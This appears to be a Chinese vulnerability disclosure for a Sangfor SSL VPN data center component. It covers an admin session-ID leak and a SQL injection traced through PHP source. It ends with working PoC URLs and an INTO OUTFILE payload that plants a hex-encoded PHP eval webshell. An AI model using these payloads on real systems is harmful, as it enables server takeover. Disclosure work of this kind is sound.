深信服SSL VPN外置数据中心敏感信息泄漏&SQL注入漏洞可导致getshell

测试版本为SSL 5.7的外置DC,主要有两个问题:
1、管理员sessionid泄漏
2、SQL注入

一、敏感信息泄漏:
Admin用户登录后,会出现一个文件(Admin未登录时此文件不存在)
里面包含了Admin用户的phpsessionid,并且任意用户可访问,如下图:

https://192.168.222.128/global_admin.ini

1
利用方法类似XSS,其它用户将浏览器cookie phpsessionid改成对应的值,再访问/src/index.php就是管理员用户了,无需知道帐号密码
利用fiddler把phpsessionid改成Admin对应的sessionid:
2
再访问/src/index.php,直接登录了:
3
系统设置--环境设置--其它,可以看到服务器绝对路径:
4
二、SQL注入
/src/login.php代码审核:

if(isset($_REQUEST['action_c'])&&$_REQUEST['action_c'] == 'login')
{
	header("Content-type: text/html; charset=utf-8");
	$user_type = $_REQUEST['user_type'];
	$user = $_REQUEST['user'];
	$pass = $_REQUEST['pass'];
	$pass_dec = base64_decode($pass);
	$nodeid = $_REQUEST['nodeid'];        //nodeid参数输入部分,未做过滤
	if(!empty($nodeid) && !is_numeric($nodeid) && !is_numeric($user_type))
    //这部分逻辑搞笑了,当nodeid不为空且nodeid不为数字且user_type不为数字才返回参数错误。当user_type为数字型,而nodeid不为数字型的时候,这里逻辑为假,不提示参数错误并进入后续代码处理
	{
		backmsg("参数错误");
		exit;
	}
	if($user_type != 0)
	{
		$user_type = 1;
	}
	// 封锁IP检测
	$path = $_SERVER['DOCUMENT_ROOT']."/src/temp";
	$handle = @opendir($path);
	if($handle)
	{
		while(false !== ($file_name = @readdir($handle)))
		{
			$file = $path."/".$file_name;
			if(time() - @filemtime($file) > 300)  //300秒后清除IP黑名单文件
			{
				@unlink($file);
			}
		}
	}
	$time = 0;
	$file = $path."/".$_SERVER['REMOTE_ADDR'].$user_type;
	$handle = @fopen($file, "r");
	if($handle)
	{
		$time = @fread($handle, 10);
		if(($time !== false) && ($time > 4))
		{
			backmsg('同一IP登录登录失败次数超过5次,拒绝登录,请稍后再试');
			exit;
		}
		@fclose($handle);
	}
	$handle = @fopen($file, "w");
	if($handle)
	{
		++$time;
		@fwrite($handle, $time);
		@fclose($handle);
	}
    //上面的封锁逻辑,当用户登录失败5次后,封锁300秒
	//验证用户名密码
	$adlogin = new adtLogin($user_type);
	if(!$adlogin->checkAdtPsw($nodeid,$user,$pass_dec))  //验证帐号密码流程,需跟踪
	{
		backmsg(_E($adlogin->geterrno()));
		exit;
	}
	// 通过验证,删除临时文件
	@unlink($file);

php class adtLogin代码文件:/src/inc/class/adtLogin.class.php

class adtLogin  
{
	var $Gloadmin=1;//记录是否是全局管理员,0表示全局管理员,1表示节点管理员 存入session
	var $type;//记录用户选择管理员类型 0表示全局管理员,1表示节点管理员
	var $errno;
	var $nodeid;
	function adtLogin($type)
	{
		$this->type=trim($type);
	}
	public function checkAdtPsw($nodeid,$username,$pass)
	{
	/*@参数:$nodeid 数值 客户端提交数据,0表示用户选择全局数据库,其他值对应相应节点ID
		$this->nodeid=trim($nodeid);  //nodeid未过滤
		$username=filterStr(trim($username));
		$pass = @EncryptDes2(filterStr($pass));
		//$pass =md5($pass);
		$con=new SinforDbBase();		
		if($this->type==0)  //type=0也就是全局管理员的检查流程,这里没有问题,不用看
		{   
  省略......
		}
		else  //type=1也就是节点管理员的检查流程
		{
			if($nodeid == null)
			{
				$this->errno=50;
				return false;
			}
			if(!$con->OpenDb($this->nodeid))  //变量nodeid进入OpenDb函数,需跟踪
			{
				$this->errno=50;
				return false;
			}
省略......

OpenDb函数定义在/src/inc/class/SinforDbBase.class.php里

省略......
        function OpenDb($NodeId=GLOBAL_DB)  //需跟踪的OpenDb函数
        {
            $db_config["hostname"]  = $this->hostname.":".$this->port;
            $db_config["username"]  = $this->username;
            $db_config["password"]  = $this->pass;
            $db_config["charset"]   = "UTF8";
            $db_config["database"]  = _S("DatabaseConfig", "DataBase"); // 默认为全局数据库
            
            if( $NodeId != GLOBAL_DB )  //触发注入的前提,也就是nodeid不为0
            {
                //$dbObj  = new DBMantain();
                //$db_config["database"] = $dbObj->getdbname($NodeId);
                /* 取数据库名字 */
                if( ! $this->connect($db_config) )
                {
                    return false;
                }                
                $sql = "select DB_Name from dev_node where id =$NodeId";  //SQL注入点
                $row = $this -> row_query_one($sql);
                $this -> close_db();   
                if( ! $row )
                {
                    return false;
                }
                $db_config["database"] = $row["DB_Name"];   // 非全局数据库
            }

注入POC:

https://IP/src/login.php?action_c=login&user_type=1g&user=admin&pass=admin&nodeid=3 and 1=1

提示“用户名或密码不正确”

https://IP/src/login.php?action_c=login&user_type=1g&user=admin&pass=admin&nodeid=3 and 1=2

提示“连接数据库失败”

由于有防爆破登录机制,这里用sqlmap注入会有很大麻烦,需要很长时间

由于mysql用户是root,并且magic_quotes_gpc = Off,系统又是windows,呵呵了,直接getshell:

https://IP/src/login.php?action_c=login&user_type=1&user=admin&pass=admin&nodeid=3 union select 0x3c3f70687020406576616c28245f504f53545b277362275d293b3f3e into outfile 'C:\Program Files\Sangfor\SSL\LogKeeper\htdocs\test.php'

生成一句话,密码sb,访问地址:https://IP/test.php

具体路径可以利用上面的管理员session泄漏漏洞登录系统后获取
5

发表评论